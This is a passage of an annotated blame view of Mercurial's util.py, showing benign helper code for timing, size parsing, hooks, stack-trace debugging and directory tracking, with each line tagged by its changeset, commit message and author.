diff
changeset
|
2876 (10, 0.000000001, _('%.2f ns')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2877 (1, 0.000000001, _('%.3f ns')), |
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parents:
18735
diff
changeset
|
2878 ) |
af9ddea2cb99
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Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2879 |
38797
8751d1e2a7ff
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Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2880 @attr.s |
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util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
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diff
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|
2881 class timedcmstats(object): |
8751d1e2a7ff
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Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
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|
2882 """Stats information produced by the timedcm context manager on entering.""" |
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Martijn Pieters <mj@zopatista.com>
parents:
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diff
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|
2883 |
8751d1e2a7ff
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Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2884 # the starting value of the timer as a float (meaning and resulution is |
8751d1e2a7ff
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Martijn Pieters <mj@zopatista.com>
parents:
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diff
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|
2885 # platform dependent, see util.timer) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2886 start = attr.ib(default=attr.Factory(lambda: timer())) |
8751d1e2a7ff
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Martijn Pieters <mj@zopatista.com>
parents:
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diff
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|
2887 # the number of seconds as a floating point value; starts at 0, updated when |
8751d1e2a7ff
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Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
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|
2888 # the context is exited. |
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Martijn Pieters <mj@zopatista.com>
parents:
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diff
changeset
|
2889 elapsed = attr.ib(default=0) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2890 # the number of nested timedcm context managers. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
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diff
changeset
|
2891 level = attr.ib(default=1) |
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Martijn Pieters <mj@zopatista.com>
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diff
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|
2892 |
38812
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
2893 def __bytes__(self): |
38797
8751d1e2a7ff
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Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2894 return timecount(self.elapsed) if self.elapsed else '<unknown>' |
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Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
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|
2895 |
38812
9d49bb117dde
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Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
2896 __str__ = encoding.strmethod(__bytes__) |
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Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
2897 |
38797
8751d1e2a7ff
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Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2898 @contextlib.contextmanager |
8751d1e2a7ff
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Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2899 def timedcm(): |
8751d1e2a7ff
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Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2900 """A context manager that produces timing information for a given context. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2901 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2902 On entering a timedcmstats instance is produced. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2903 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2904 This context manager is reentrant. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2905 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2906 """ |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2907 # track nested context managers |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2908 timedcm._nested += 1 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2909 timing_stats = timedcmstats(level=timedcm._nested) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2910 try: |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2911 yield timing_stats |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2912 finally: |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2913 timing_stats.elapsed = timer() - timing_stats.start |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2914 timedcm._nested -= 1 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2915 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2916 timedcm._nested = 0 |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2917 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2918 def timed(func): |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2919 '''Report the execution time of a function call to stderr. |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2920 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2921 During development, use as a decorator when you need to measure |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2922 the cost of a function, e.g. as follows: |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2923 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2924 @util.timed |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2925 def foo(a, b, c): |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2926 pass |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2927 ''' |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2928 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2929 def wrapper(*args, **kwargs): |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2930 with timedcm() as time_stats: |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2931 result = func(*args, **kwargs) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2932 stderr = procutil.stderr |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2933 stderr.write('%s%s: %s\n' % ( |
38812
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
2934 ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__), |
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
2935 time_stats)) |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
2936 return result |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
2937 return wrapper |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2938 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2939 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30), |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2940 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1)) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2941 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2942 def sizetoint(s): |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2943 '''Convert a space specifier to a byte count. |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2944 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2945 >>> sizetoint(b'30') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2946 30 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2947 >>> sizetoint(b'2.2kb') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2948 2252 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2949 >>> sizetoint(b'6M') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2950 6291456 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2951 ''' |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2952 t = s.strip().lower() |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2953 try: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2954 for k, u in _sizeunits: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2955 if t.endswith(k): |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2956 return int(float(t[:-len(k)]) * u) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2957 return int(t) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2958 except ValueError: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
2959 raise error.ParseError(_("couldn't parse size: %s") % s) |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
2960 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
2961 class hooks(object): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
2962 '''A collection of hook functions that can be used to extend a |
26098 | 2963 function's behavior. Hooks are called in lexicographic order, |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
2964 based on the names of their sources.''' |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
2965 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
2966 def __init__(self): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
2967 self._hooks = [] |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
2968 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
2969 def add(self, source, hook): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
2970 self._hooks.append((source, hook)) |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
2971 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
2972 def __call__(self, *args): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
2973 self._hooks.sort(key=lambda x: x[0]) |
21046
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
2974 results = [] |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
2975 for source, hook in self._hooks: |
21046
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
2976 results.append(hook(*args)) |
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
2977 return results |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
2978 |
36129
2874896a6e3b
util: format line number of stack trace using %d
Augie Fackler <augie@google.com>
parents:
36128
diff
changeset
|
2979 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0): |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2980 '''Yields lines for a nicely formatted stacktrace. |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
2981 Skips the 'skip' last entries, then return the last 'depth' entries. |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2982 Each file+linenumber is formatted according to fileline. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2983 Each line is formatted according to line. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2984 If line is None, it yields: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2985 length of longest filepath+line number, |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2986 filepath+linenumber, |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2987 function |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2988 |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2989 Not be used in production code but very convenient while developing. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2990 ''' |
36130
7ec26f27ca83
util: convert traceback-related sysstrs to sysbytes in getstackframes
Augie Fackler <augie@google.com>
parents:
36129
diff
changeset
|
2991 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func)) |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
2992 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1] |
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
2993 ][-depth:] |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2994 if entries: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2995 fnmax = max(len(entry[0]) for entry in entries) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2996 for fnln, func in entries: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2997 if line is None: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2998 yield (fnmax, fnln, func) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
2999 else: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3000 yield line % (fnmax, fnln, func) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3001 |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3002 def debugstacktrace(msg='stacktrace', skip=0, |
37118
5be286db5fb5
procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37117
diff
changeset
|
3003 f=procutil.stderr, otherf=procutil.stdout, depth=0): |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3004 '''Writes a message to f (stderr) with a nicely formatted stacktrace. |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3005 Skips the 'skip' entries closest to the call, then show 'depth' entries. |
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3006 By default it will flush stdout first. |
28496
b592564a803c
util: reword debugstacktrace comment
timeless <timeless@mozdev.org>
parents:
28027
diff
changeset
|
3007 It can be used everywhere and intentionally does not require an ui object. |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3008 Not be used in production code but very convenient while developing. |
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3009 ''' |
20542
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3010 if otherf: |
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3011 otherf.flush() |
31314
7c877cbf30d6
util: strip trailing newline from debugstacktrace message
Mads Kiilerich <madski@unity3d.com>
parents:
31141
diff
changeset
|
3012 f.write('%s at:\n' % msg.rstrip()) |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3013 for line in getstackframes(skip + 1, depth=depth): |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3014 f.write(line) |
20542
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3015 f.flush() |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3016 |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3017 class dirs(object): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3018 '''a multiset of directory names from a dirstate or manifest''' |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3019 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3020 def __init__(self, map, skip=None): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3021 self._dirs = {} |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3022 addpath = self.addpath |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3023 if safehasattr(map, 'iteritems') and skip is not None: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3024 for f, s in map.iteritems(): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3025 if s[0] != skip: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3026 addpath(f) |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3027 else: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3028 for f in map: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3029 addpath(f) |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3030 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3031 def addpath(self, path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3032 dirs = self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3033 for base in finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3034 if base in dirs: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3035 dirs[base] += 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3036 return |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3037 dirs[base] = 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3038 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3039 def delpath(self, path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3040 dirs = self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3041 for base in finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3042 if dirs[base] > 1: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3043 dirs[base] -= 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3044 return |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3045 del dirs[base] |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3046 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3047 def __iter__(self): |
31430
807387581d89
py3: use iter() instead of iterkeys()
Rishabh Madan <rishabhmadan96@gmail.com>
parents:
31404
diff
changeset
|
3048 return iter(self._dirs) |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3049 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3050 def __contains__(self, d): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3051 return d in self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3052 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3053 if safehasattr(parsers, 'dirs'): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3054 dirs = parsers.dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3055 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3056 def finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3057 pos = path.rfind('/') |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3058 while pos != -1: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3059 yield path[:pos] |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3060 pos = path.rfind('/', 0, pos) |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3061 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3062 # compression code |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3063 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3064 SERVERROLE = 'server' |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3065 CLIENTROLE = 'client' |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3066 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3067 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport', |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3068 (u'name', u'serverpriority', |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3069 u'clientpriority')) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3070 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3071 class compressormanager(object): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
